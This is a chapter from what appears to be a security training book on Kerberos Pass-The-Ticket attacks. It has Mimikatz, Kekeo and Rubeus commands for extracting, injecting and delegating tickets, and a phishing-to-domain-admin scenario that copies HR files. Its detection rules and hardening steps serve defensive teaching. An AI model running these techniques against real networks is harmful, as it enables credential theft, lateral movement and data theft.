Skip to content

Chapter 26: Pass-The-Ticket

Introduction

If Pass-The-Hash is the "bread and butter" of NTLM, then Pass-The-Ticket (PtT) is the same for Kerberos. The beauty of this technique is that you don't even need a password or a hash; you just need a valid ticket that’s already been issued by the domain. Think of it like a lost valet ticket—whoever holds it gets the car. In our world, whoever holds the ticket gets the access.

I’ve seen many engagements where a user changed their password, but because their Kerberos tickets were still valid in memory, an attacker could continue moving through the network for hours. It’s a powerful, stealthy technique that exploits the fundamental "bearer token" nature of Kerberos. If the DC says the ticket is valid and hasn't expired, the server will trust it, no questions asked.

Pass-The-Ticket (PtT) is a post-exploitation technique where an attacker extracts Kerberos tickets from one system and injects them into another system's memory to gain unauthorized access to network resources. Unlike Pass-The-Hash, which requires the attacker to request new Kerberos tickets using stolen NTLM hashes, Pass-The-Ticket directly reuses existing valid tickets that were legitimately issued by the Key Distribution Center (KDC).

This chapter explores the technical mechanics of Pass-The-Ticket attacks, the commands available in Mimikatz and Kekeo for ticket manipulation, the special case of delegation abuse, detection opportunities, and defensive strategies to mitigate ticket theft and reuse.

Understanding Pass-The-Ticket

What is Pass-The-Ticket?

Pass-The-Ticket is the technique of using stolen Kerberos tickets (TGT or TGS) to authenticate to network resources without knowledge of the account's password. The fundamental principle is:

Kerberos tickets are bearer tokens—whoever possesses a valid ticket can use it for authentication, regardless of whether they know the password that was originally used to obtain the ticket.

Ticket Types and Their Use

Ticket Granting Ticket (TGT):

  • Purpose: Represents the user's authentication to the domain
  • Issuer: Key Distribution Center (KDC) / Domain Controller
  • Encryption: Encrypted with krbtgt account's password hash
  • Capability: Can be used to request service tickets (TGS) for any resource
  • Lifetime: Default 10 hours, renewable for 7 days
  • Value to Attacker: Universal access token—can request tickets for any service

Service Ticket (TGS):

  • Purpose: Grants access to a specific service
  • Issuer: Key Distribution Center (KDC) / Domain Controller
  • Encryption: Encrypted with target service account's password hash
  • Capability: Authenticates user to one specific service (e.g., CIFS/fileserver, HTTP/webserver)
  • Lifetime: Default 10 hours, renewable for 7 days
  • Value to Attacker: Direct access to specific resource without additional KDC interaction

Pass TGT vs Pass TGS

Passing a TGT:

Attacker System                    Domain Controller                Target Service
     |                                    |                              | 
     |---(1) Import stolen TGT-------->  |                              | 
     |                                    |                              | 
     |---(2) TGS-REQ for CIFS/server---->|                              | 
     |<---(3) TGS-REP (service ticket)---|                              | 
     |                                    |                              | 
     |---(4) AP-REQ (present TGS)------------------------------------>  | 
     |<---(5) AP-REP (access granted)----------------------------------  |

Advantages:

  • Can request tickets for any service
  • More flexible for lateral movement
  • Functions like legitimate user TGT

Disadvantages:

  • May generate KDC interaction logs (Event ID 4769)
  • Requires KDC reachability

Passing a TGS:

Attacker System                Target Service
     |                              | 
     |---(1) Import stolen TGS)---> | 
     |                              | 
     |---(2) AP-REQ (present TGS)-->| 
     |<---(3) AP-REP (access)-------|

Advantages:

  • No KDC interaction required
  • Direct access to target service
  • Stealthier (no Event ID 4769 on DC)

Disadvantages:

  • Limited to specific service the ticket was issued for
  • Cannot request additional service tickets

Why Pass-The-Ticket Works

Cryptographic Trust: Kerberos relies on cryptographic signatures. A service that receives a TGS ticket:

  1. Decrypts the ticket using its own password hash
  2. Verifies the PAC (Privilege Attribute Certificate) signature
  3. Trusts all authorization data in the ticket

The service does not contact the domain controller to verify:

  • User's password hasn't changed
  • User account hasn't been disabled
  • User's group memberships haven't changed (uses cached PAC)
  • Ticket wasn't stolen

Time-Based Validity: Tickets are only validated against:

  • Expiration time (EndTime)
  • Renewal deadline (renew-till)
  • Current time within acceptable clock skew (±5 minutes)

As long as the ticket hasn't expired, it will be accepted.

Ticket Export Restrictions

Windows TGT Export Limitation:

By default, Windows does not allow export of TGTs with their session keys for local administrator accounts. This is a security measure to prevent lateral movement using local admin TGTs.

Registry Override (Historical):

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
AllowTGTSessionKey = 1 (DWORD)

This registry key (KB308339) allows TGT session key export, but only affects non-local administrator accounts. Domain users, even with local admin rights, can have their TGTs exported with session keys.

Mimikatz Bypass:

Mimikatz's sekurlsa::tickets command extracts tickets directly from LSASS memory, bypassing the Windows API restrictions:

  • Reads raw memory structures
  • Extracts encrypted ticket data
  • Extracts session keys from memory
  • Works for all accounts including local administrators

Result: While Windows built-in tools (like klist.exe) cannot export TGTs for local admins, Mimikatz can extract all tickets regardless of account type.

Extracting Tickets with Mimikatz/Kekeo

Methods for Ticket Extraction

Method 1: Current Session (Non-Privileged)

kerberos::list /export
  • Uses legitimate Windows API (LsaCallAuthenticationPackage)
  • No admin rights required
  • Only accesses current user's logon session
  • Cannot export local admin TGTs with session keys
  • Operationally safe (no LSASS access)

Method 2: All Sessions (Privileged - Mimikatz)

privilege::debug
sekurlsa::tickets /export
  • Directly reads LSASS process memory
  • Requires admin rights or SYSTEM
  • Extracts tickets from all logon sessions
  • Bypasses TGT export restrictions
  • Detectable via Sysmon Event ID 10

Method 3: All Sessions (Privileged - Kekeo)

kerberos::list /export
  • Similar to Mimikatz kerberos::list
  • Only current session without elevation
  • Better ASN.1 parsing (can read ticket details more accurately)

Extraction Examples

Example 1: Export Current Session Tickets (Kekeo)

kekeo # kerberos::list /export

  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: alice @ CORP.LOCAL
  [enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [enc-krb-cred] T: [11/30/2024 2:15:00 PM ; 12/1/2024 12:15:00 AM] {R:12/7/2024 2:15:00 PM}
  [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; 
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): 000000000000... (cannot export)

  > Ticket in file 'alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi'

  [krb-cred]     S: CIFS/fileserver.corp.local @ CORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: alice @ CORP.LOCAL
  [enc-krb-cred] S: CIFS/fileserver.corp.local @ CORP.LOCAL
  [enc-krb-cred] T: [11/30/2024 2:30:00 PM ; 12/1/2024 12:15:00 AM] {R:12/7/2024 2:15:00 PM}
  [enc-krb-cred] F: [40a50000] name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6...

  > Ticket in file 'alice@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi'

Observations:

  • TGT session key shows 0000... (local admin restriction or security policy)
  • TGS session key visible (can be exported and reused)
  • Two .kirbi files created in current directory

Example 2: Export All Session Tickets (Mimikatz)

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WORKSTATION01$
Domain            : CORP
Logon Server      : (null)
Logon Time        : 11/30/2024 8:00:00 AM
SID               : S-1-5-20

         * Username : WORKSTATION01$
         * Domain   : CORP.LOCAL
         * Password : (null)

        Group 0 - Ticket Granting Service
        Group 1 - Client Ticket ?
        Group 2 - Ticket Granting Ticket
         [00000000]
           Start/End/MaxRenew: 11/30/2024 8:00:00 AM ; 11/30/2024 6:00:00 PM ; 12/7/2024 8:00:00 AM
           Service Name (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
           ... 
           > Saved to file: 0-996-2-0-40e10000-WORKSTATION01$@krbtgt-CORP.LOCAL.kirbi

Authentication Id : 0 ; 123456 (00000000:0001e240)
Session           : Interactive from 1
User Name         : alice
Domain            : CORP
Logon Server      : DC01
Logon Time        : 11/30/2024 9:30:00 AM
SID               : S-1-5-21-...

         * Username : alice
         * Domain   : CORP.LOCAL
         * Password : (null)

        Group 0 - Ticket Granting Service
         [00000000]
           ... 
           > Saved to file: 0-123456-0-0-40a50000-alice@CIFS~fileserver.corp.local-CORP.LOCAL.kirbi

        Group 2 - Ticket Granting Ticket
         [00000000]
           ... 
           > Saved to file: 0-123456-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi

Observations:

  • All logon sessions enumerated (Network Service, alice's interactive session, etc.)
  • Computer account (WORKSTATION01$) TGT extracted
  • User TGT and TGS extracted with full session keys
  • Filename format: LogonId-GroupNum-TicketNum-Flags-User@Service-Realm.kirbi

Example 3: Base64 Export (Diskless)

kekeo # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true

kekeo # kerberos::list /export

  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  ... 
====================
Base64 of file : alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi
====================
doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIEGKADAgEFoQ4bDEFDTUVM
Q ...
[base64 string continues]

Advantages:

  • No file written to disk
  • Bypasses file-based detection
  • Can be transmitted over network/clipboard
  • Reduced forensic footprint

Usage on Attacker System:

powershell
$base64 = "doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIE..."
[IO.File]::WriteAllBytes("C:\tickets\alice_tgt.kirbi", [Convert]::FromBase64String($base64))

Injecting Tickets with kerberos::ptt

Command Syntax

kerberos::ptt <ticket_file_or_directory>
kerberos::ptt <base64_ticket>

Parameters:

  • <ticket_file_or_directory> - Path to .kirbi file or directory containing .kirbi files
  • <base64_ticket> - Base64-encoded ticket string (after enabling base64 /in:true)

Injection Methods

Method 1: Import Single File

kekeo # kerberos::ptt C:\tickets\alice_tgt.kirbi

* File: 'C:\tickets\alice_tgt.kirbi': OK

Method 2: Import Directory

kekeo # kerberos::ptt C:\tickets\

* Directory: 'C:\tickets\'

* File: 'C:\tickets\alice_tgt.kirbi': OK
* File: 'C:\tickets\bob_tgs_cifs.kirbi': OK
* File: 'C:\tickets\charlie_tgt.kirbi': OK

All .kirbi files in the directory are imported automatically.

Method 3: Import Base64

kekeo # base64 /in:true
isBase64InterceptInput  is true
isBase64InterceptOutput is false

kekeo # kerberos::ptt doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIE...

* File: 'doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIE...': OK

Understanding TGT Replacement

Critical Behavior: Each logon session can only contain one TGT.

When multiple TGTs are imported:

  • The last imported TGT replaces all previous TGTs
  • Service tickets (TGS) are additive (do not replace each other)

Example Demonstration:

kekeo # kerberos::list
  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [enc-krb-cred] P: alice @ CORP.LOCAL
  ... 

kekeo # kerberos::ptt bob_tgt.kirbi
* File: 'bob_tgt.kirbi': OK

kekeo # kerberos::list
  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [enc-krb-cred] P: bob @ CORP.LOCAL
  ... (alice's TGT is now replaced by bob's TGT)

kekeo # kerberos::ptt charlie_tgt.kirbi
* File: 'charlie_tgt.kirbi': OK

kekeo # kerberos::list
  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [enc-krb-cred] P: charlie @ CORP.LOCAL
  ... (bob's TGT is now replaced by charlie's TGT)

Operational Implication:

  • To switch user contexts, import the desired user's TGT
  • Previous user's TGT will be overwritten
  • Service tickets for multiple users can coexist

Using Imported Tickets

Once injected, tickets are immediately available for authentication:

Example: File Share Access

kekeo # kerberos::ptt alice_tgt.kirbi
* File: 'alice_tgt.kirbi': OK

C:\> net use \fileserver\share
The command completed successfully.

C:\> dir \fileserver\share\confidential
 ...
 sensitive_data.xlsx

Example: PowerShell Remoting

powershell
PS C:\> $cred = Get-Credential  # Not actually used, but required by cmdlet syntax
PS C:\> Enter-PSSession -ComputerName server01 -Authentication Negotiate

[server01]: PS C:\> whoami
corp\alice

Example: WMI Query

powershell
PS C:\> Get-WmiObject -Class Win32_OperatingSystem -ComputerName server01

SystemDirectory : C:\Windows\system32
...

Technical Flow:

  1. Application (net.exe, powershell.exe, etc.) requests network authentication
  2. LSASS checks ticket cache for valid TGT
  3. LSASS automatically requests TGS using imported TGT
  4. KDC validates TGT and issues TGS
  5. Application presents TGS to service
  6. Service validates TGS and grants access

Network Identity vs Local Identity:

C:\> whoami
corp\attacker

C:\> dir \fileserver\share
 ... (access granted using alice's imported TGT)

Key Point: whoami shows the local account, but network authentication uses the imported ticket's identity (alice). This is because:

  • whoami queries local security token
  • Network authentication uses Kerberos tickets from LSASS cache
  • These are separate authentication contexts

Requesting Delegated TGTs

The Delegation TGT Challenge

Problem: When you list tickets with kerberos::list, the TGT's encryption key often shows as all zeros:

[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): 0000000000000000000000000000000000000000000000000000000000000000

This occurs because:

  1. Windows protects TGT session keys for security
  2. Local administrator accounts have additional export restrictions
  3. The session key is needed to use the TGT on another system

Solution: Request a delegated TGT from a server configured for Kerberos delegation.

Understanding Kerberos Delegation

Kerberos Delegation allows a service to impersonate a user when accessing other services.

Unconstrained Delegation:

  • Service receives user's full TGT when user accesses it
  • Service can request tickets for any resource as the user
  • Configured via TrustedForDelegation flag in AD
  • Domain controllers have unconstrained delegation by default

How Delegation Helps Attackers: When a service is configured for unconstrained delegation, the KDC includes a forwardable copy of the user's TGT in the service ticket. This delegated TGT includes the session key, allowing it to be exported and reused.

The tgt::deleg Command

Syntax:

tgt::deleg [/host:<FQDN>]

Parameters:

  • /host:<FQDN> - Fully qualified domain name of server configured for delegation
  • If omitted, automatically finds and uses a domain controller

How it Works:

  1. Kekeo requests a service ticket to the specified host
  2. KDC includes a forwardable TGT because host has delegation configured
  3. Kekeo extracts the delegated TGT from the service ticket
  4. Delegated TGT includes session key and can be exported

Example Usage:

kekeo # tgt::deleg
[delegation target] HOST/DC01.corp.local (not used)
Service: HOST/DC01.corp.local       [KRB_NT_SRV_INST (2)]
Client : alice        [KRB_NT_PRINCIPAL (1)]
> alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_delegate.kirbi -> OK

Automatic DC Discovery: Without /host parameter, Kekeo automatically:

  1. Queries Active Directory for domain controllers
  2. Selects first available DC
  3. Requests delegation TGT from that DC

Specifying Target Host:

kekeo # tgt::deleg /host:appserver.corp.local
[delegation target] HOST/appserver.corp.local
Service: HOST/appserver.corp.local       [KRB_NT_SRV_INST (2)]
Client : alice        [KRB_NT_PRINCIPAL (1)]
> alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_delegate.kirbi -> OK

Finding Delegation-Enabled Hosts

LDAP Filter for Unconstrained Delegation:

(userAccountControl:1.2.840.113556.1.4.803:=524288)

The value 524288 corresponds to the TRUSTED_FOR_DELEGATION flag (0x80000).

PowerShell Query:

powershell
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" -Properties Name, OperatingSystem, TrustedForDelegation

Name              OperatingSystem          TrustedForDelegation
----              ---------------          --------------------
DC01              Windows Server 2019      True
DC02              Windows Server 2019      True
SQLSERVER01       Windows Server 2016      True
APPSERVER05       Windows Server 2019      True

AD Users & Computers GUI: Computer Properties → Delegation tab → "Trust this computer for delegation to any service (Kerberos only)"

Service Accounts with Delegation:

powershell
Get-ADUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" -Properties Name, ServicePrincipalName, TrustedForDelegation

Using Delegated TGTs

Import Delegated TGT:

kekeo # kerberos::ptt alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_delegate.kirbi

* File: 'alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_delegate.kirbi': OK

Verify Flags:

kekeo # kerberos::list
  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: alice @ CORP.LOCAL
  [enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [enc-krb-cred] T: [11/30/2024 3:45:00 PM ; 12/1/2024 1:45:00 AM] {R:12/7/2024 3:45:00 PM}
  [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; 
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2

Key Observations:

  • forwarded flag is set (indicates this is a delegated TGT)
  • Session key is now visible (can be exported and reused)
  • Ticket is fully functional for requesting service tickets

Use Delegated TGT:

C:\> net use \fileserver\share
The command completed successfully.

The delegated TGT functions identically to a normal TGT, but with the critical advantage that it includes the exportable session key.

Detection Strategies

Sysmon Event ID 10: LSASS Process Access

Configuration for Detection:

xml
<RuleGroup name="Ticket Extraction Detection" groupRelation="or">
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
    <GrantedAccess condition="is">0x1010</GrantedAccess>
  </ProcessAccess>
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
    <GrantedAccess condition="is">0x1410</GrantedAccess>
  </ProcessAccess>
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
    <SourceImage condition="contains any">mimikatz;kekeo;pypykatz</SourceImage>
  </ProcessAccess>
</RuleGroup>

Example Event:

xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>10</EventID>
  </System>
  <EventData>
    <Data Name="SourceImage">C:\Tools\mimikatz.exe</Data>
    <Data Name="TargetImage">C:\Windows\system32\lsass.exe</Data>
    <Data Name="GrantedAccess">0x1010</Data>
    <Data Name="SourceUser">CORP\attacker</Data>
  </EventData>
</Event>

Detection Logic:

  • Alert on any non-system process accessing LSASS
  • Baseline legitimate LSASS access (svchost, services, MsMpEng, EDR agents)
  • High-severity alert on unknown processes

Sysmon Event ID 11: File Creation (.kirbi)

xml
<RuleGroup name="Ticket File Detection" groupRelation="or">
  <FileCreate onmatch="include">
    <TargetFilename condition="end with">.kirbi</TargetFilename>
  </FileCreate>
</RuleGroup>

Example Event:

xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>11</EventID>
  </System>
  <EventData>
    <Data Name="Image">C:\Tools\mimikatz.exe</Data>
    <Data Name="TargetFilename">C:\Windows\Temp\0-123456-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi</Data>
  </EventData>
</Event>

Detection Logic:

  • Alert on .kirbi file creation
  • Monitor temporary directories (C:\Temp, C:\Windows\Temp, C:\Users*\AppData\Local\Temp)
  • Correlate with LSASS access events (Event ID 10)

Event ID 4769: Kerberos Service Ticket Request

When an imported TGT is used to request service tickets, the domain controller logs Event ID 4769.

Normal TGS Request:

xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>4769</EventID>
  </System>
  <EventData>
    <Data Name="TargetUserName">alice@CORP.LOCAL</Data>
    <Data Name="ServiceName">CIFS/fileserver.corp.local</Data>
    <Data Name="IpAddress">::ffff:10.1.1.50</Data>
    <Data Name="IpPort">54321</Data>
  </EventData>
</Event>

Anomaly Detection:

  • User requesting tickets from unusual IP addresses
  • TGS requests from IP not matching user's workstation
  • High volume of TGS requests in short timeframe
  • Service ticket requests outside user's normal work hours

Correlation Example:

Event ID 4768 (TGT request): alice from IP 10.1.1.25 (workstation)
Event ID 4769 (TGS request): alice from IP 10.1.1.78 (attacker system)
                             ^^^ Mismatch indicates Pass-The-Ticket

Event ID 4624: Successful Logon (Type 3)

Network logons using imported tickets generate Event ID 4624 with Logon Type 3.

Example:

xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>4624</EventID>
  </System>
  <EventData>
    <Data Name="LogonType">3</Data>
    <Data Name="TargetUserName">alice</Data>
    <Data Name="WorkstationName">ATTACKER-PC</Data>
    <Data Name="IpAddress">10.1.1.78</Data>
    <Data Name="AuthenticationPackageName">Kerberos</Data>
  </EventData>
</Event>

Anomaly Indicators:

  • Workstation name doesn't match user's assigned system
  • IP address geographically inconsistent with user location
  • Authentication outside normal work hours
  • Simultaneous logons from multiple systems

Behavioral Analytics

UEBA (User and Entity Behavior Analytics):

Baseline Normal Behavior:

  • alice typically logs on from 10.1.1.25 (WORKSTATION05)
  • Access hours: 8 AM - 5 PM Monday-Friday
  • Accesses fileserver, email, intranet

Anomalous Behavior:

  • alice authentication from 10.1.1.78 (unknown system) at 2 AM Sunday
  • First-time access to sensitive database server
  • Rapid access to multiple file shares in 5 minutes

SIEM Correlation Rule (Pseudocode):

IF Event ID 4769 (TGS request):
  user = TargetUserName
  ip = IpAddress

  IF ip NOT IN user.historical_ips:
    ALERT("Pass-The-Ticket: User accessing from new IP")

  IF time NOT IN user.normal_hours:
    ALERT("Pass-The-Ticket: After-hours access")

  IF count(TGS_requests within 5 minutes) > 10:
    ALERT("Pass-The-Ticket: Rapid ticket requests")

Defensive Strategies

Prevent Ticket Extraction

1. LSA Protected Process Light (PPL)

Enable LSA PPL to prevent unauthorized LSASS memory access:

Registry:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa
RunAsPPL = 1 (DWORD)

Group Policy:

Computer Configuration → Administrative Templates → System
→ Local Security Authority
→ Configure LSASS to run as a protected process: Enabled

Requirements:

  • Windows 8.1 / Server 2012 R2 or later
  • UEFI Secure Boot enabled

Effect:

  • sekurlsa::tickets fails with access denied
  • Only signed, Microsoft-approved code can access LSASS
  • Blocks Mimikatz ticket extraction

2. Credential Guard

Deploy Windows Defender Credential Guard using virtualization-based security:

Group Policy:

Computer Configuration → Administrative Templates → System → Device Guard
→ Turn on Virtualization Based Security: Enabled
→ Credential Guard Configuration: Enabled with UEFI lock

Requirements:

  • Windows 10 Enterprise/Education or Server 2016+
  • 64-bit CPU with VT-x/AMD-V
  • UEFI Secure Boot
  • TPM 1.2 or 2.0

Effect:

  • Credentials isolated in VTL-1 secure container
  • LSASS cannot access credential material
  • Ticket extraction blocked

Limitation: Credential Guard cannot be enabled on domain controllers.

Limit Ticket Lifetime

Reduce Ticket Validity Period:

Group Policy:

Computer Configuration → Policies → Windows Settings → Security Settings
→ Account Policies → Kerberos Policy
→ Maximum lifetime for user ticket: 4 hours (default: 10 hours)
→ Maximum lifetime for user ticket renewal: 1 day (default: 7 days)

Effect:

  • Shorter ticket lifetime reduces Pass-The-Ticket window
  • Stolen tickets expire faster
  • Increased KDC load (more frequent renewals)

Trade-off: Balance security (shorter lifetime) vs. performance (more KDC requests)

Restrict Unconstrained Delegation

Audit Delegation Configuration:

powershell
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" |
  Select-Object Name, @{N='DelegationType';E={'Unconstrained'}}

Remove Unnecessary Delegation:

powershell
Set-ADComputer -Identity "APPSERVER05" -TrustedForDelegation $false

Convert to Constrained Delegation:

powershell
Set-ADComputer -Identity "SQLSERVER01" -Add @{'msDS-AllowedToDelegateTo'='HTTP/intranet.corp.local'}

Protected Users Group: Add high-privilege accounts to Protected Users security group:

powershell
Add-ADGroupMember -Identity "Protected Users" -Members "alice","bob"

Protected Users Restrictions:

  • TGTs cannot be delegated
  • Cannot use DES or RC4 encryption
  • Cannot be authenticated with NTLM
  • Credentials not cached on client systems

Effect: Prevents delegation abuse for critical accounts.

Monitor and Alert

Deploy Comprehensive Monitoring:

1. Sysmon Configuration: Deploy Sysmon on all workstations and servers with rules for:

  • Event ID 10: LSASS process access
  • Event ID 11: .kirbi file creation
  • Event ID 3: Network connections to port 88 from non-LSASS

2. Domain Controller Auditing: Enable detailed Kerberos auditing:

Computer Configuration → Policies → Windows Settings → Security Settings
→ Advanced Audit Policy Configuration → Account Logon
→ Audit Kerberos Authentication Service: Success and Failure
→ Audit Kerberos Service Ticket Operations: Success and Failure

3. SIEM Integration: Forward logs to SIEM for correlation:

  • Sysmon events from endpoints
  • Security events (4768, 4769, 4770, 4624) from DCs
  • Correlate user authentication patterns

4. Automated Response:

IF LSASS_access_detected AND kirbi_file_created:

  - Isolate endpoint from network
  - Kill suspicious process
  - Capture memory dump
  - Force password reset for affected users
  - Alert SOC for investigation

Network Segmentation

Limit Lateral Movement:

  • Segment network by trust zones
  • Restrict workstation-to-workstation communication
  • Require authentication through jump servers
  • Implement firewall rules blocking SMB/RPC between workstations

Example Firewall Rule:

Block: TCP 135, 139, 445 (RPC, SMB)
Source: Workstation VLAN (10.1.0.0/16)
Destination: Workstation VLAN (10.1.0.0/16)
Exception: Allow from Jump Server IPs

Effect: Even with stolen tickets, attacker cannot easily move laterally between workstations.

Attack Scenario: Domain Compromise via Pass-The-Ticket

Context: Red team engagement, initial foothold obtained via phishing.

Attack Flow:

Step 1: Initial Compromise

- User "alice" clicks malicious link
- Payload delivered: PowerShell beacon
- Attacker gains code execution as alice on WORKSTATION05

Step 2: Enumerate Current Tickets

powershell
# From C2 beacon
beacon> execute-assembly Rubeus.exe triage

Action: Triage Kerberos Tickets

[*] Current LUID    : 0x123456

  UserName                 : alice
  Domain                   : CORP
  LogonId                  : 0x123456
  UserSID                  : S-1-5-21-...-1001
  AuthenticationPackage    : Kerberos
  LogonType                : Interactive
  LogonTime                : 11/30/2024 9:00:00 AM
  LogonServer              : DC01
  LogonServerDNSDomain     : CORP.LOCAL
  UserPrincipalName        : alice@corp.local

  [*] Enumerated 3 tickets

  [0] - 0x12 - aes256_hmac
    Start/End/MaxRenew     : 11/30/2024 9:00:00 AM ; 11/30/2024 7:00:00 PM ; 12/7/2024 9:00:00 AM
    Server Name            : krbtgt/CORP.LOCAL @ CORP.LOCAL
    Client Name            : alice @ CORP.LOCAL
    Flags                  : name_canonicalize, pre_authent, initial, renewable, forwardable (40E10000)

  [1] - 0x12 - aes256_hmac
    Start/End/MaxRenew     : 11/30/2024 10:15:00 AM ; 11/30/2024 7:00:00 PM ; 12/7/2024 9:00:00 AM
    Server Name            : CIFS/fileserver.corp.local @ CORP.LOCAL
    Client Name            : alice @ CORP.LOCAL
    Flags                  : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40A50000)

Step 3: Extract Tickets

powershell
beacon> execute-assembly Rubeus.exe dump /luid:0x123456 /nowrap

[*] Action: Dump Kerberos Ticket Data

[*] Target LUID     : 0x123456
[*] Target User     : alice

[*] Ticket Granting Ticket
  Base64 (TGT):
    doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIEGKADAgEFoQ4bDEFDTUVM...
    [base64 continues]

[*] Service Ticket (CIFS/fileserver.corp.local)
  Base64 (TGS):
    doIE8DCCBOygAwIBBaEDAgEWooIEIDCCBBxhggQYMIIEFKADAgEFoQ4bDEFDTUVM...

Step 4: Transfer to Attacker System

# Copy base64 TGT to attacker system

Step 5: Import on Attacker Workstation

powershell
# On attacker-controlled workstation in same network
PS C:\> $tgt_base64 = "doIFHDCCBRigAwIBBaED..."
PS C:\> [IO.File]::WriteAllBytes("C:\tickets\alice_tgt.kirbi", [Convert]::FromBase64String($tgt_base64))

PS C:\> C:\Tools\Rubeus.exe ptt /ticket:C:\tickets\alice_tgt.kirbi

[*] Action: Import Ticket
[+] Ticket successfully imported!

Step 6: Access Resources

powershell
PS C:\> net use \\fileserver\share
The command completed successfully.

PS C:\> dir \\fileserver\share\HR\Salary_Data
 ...
 Executive_Compensation_2024.xlsx
 Employee_SSN_Database.xlsx

PS C:\> copy \\fileserver\share\HR\Salary_Data\*.xlsx C:\exfil\

Step 7: Escalate Privileges

powershell
# alice has local admin on several servers
PS C:\> Enter-PSSession -ComputerName SQLSERVER01
[SQLSERVER01]: PS C:\> whoami
corp\alice

[SQLSERVER01]: PS C:\> C:\Tools\mimikatz.exe

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

... 
Domain Admin "bob" recently logged into SQLSERVER01
  NTLM: 64f12cddaa88057e06a81b54e73b949b

Step 8: Domain Admin Access

# Request new TGT using bob's hash (Over-Pass-The-Hash)
kekeo # tgt::ask /user:bob /rc4:64f12cddaa88057e06a81b54e73b949b /domain:corp.local /ptt

# Now have Domain Admin privileges
C:\> net use \\dc01\C$
C:\> dir \\dc01\C$\Windows\NTDS
 ntds.dit

Result: From initial user compromise to domain admin via cascading Pass-The-Ticket and credential theft.

Practical Exercises

Exercise 1: Pass-The-Ticket with Stolen TGT

Objective: Extract TGT from one system and use it on another.

Prerequisites:

  • Lab domain with CLIENT01 and CLIENT02
  • User "alice" with domain access
  • Mimikatz/Rubeus

Steps:

  1. Extract TGT from CLIENT01 (as alice)

    CLIENT01> C:\Tools\Rubeus.exe dump /user:alice /nowrap
    - Copy base64 TGT
  2. Log onto CLIENT02 as different user (bob)

    - Log into CLIENT02 as bob
    - Verify: whoami shows bob
  3. Import alice's TGT

    powershell
    CLIENT02> $tgt = "doIFHDCCBRigAwIBBaED..."
    CLIENT02> [IO.File]::WriteAllBytes("alice_tgt.kirbi", [Convert]::FromBase64String($tgt))
    CLIENT02> C:\Tools\Rubeus.exe ptt /ticket:alice_tgt.kirbi
  4. Access resources as alice

    CLIENT02> whoami
    corp\bob
    
    CLIENT02> net use \\fileserver\share
    # Access granted using alice's ticket
    
    CLIENT02> dir \\fileserver\share
    # alice's permissions applied
  5. Verify Event Logs

    - DC: Event ID 4769 (TGS request from CLIENT02 IP for alice)
    - Fileserver: Event ID 4624 (alice logon from CLIENT02 IP)

Questions:

  • What is the local user context vs. network authentication context?
  • How long does the imported TGT remain valid?
  • What detection opportunities exist?

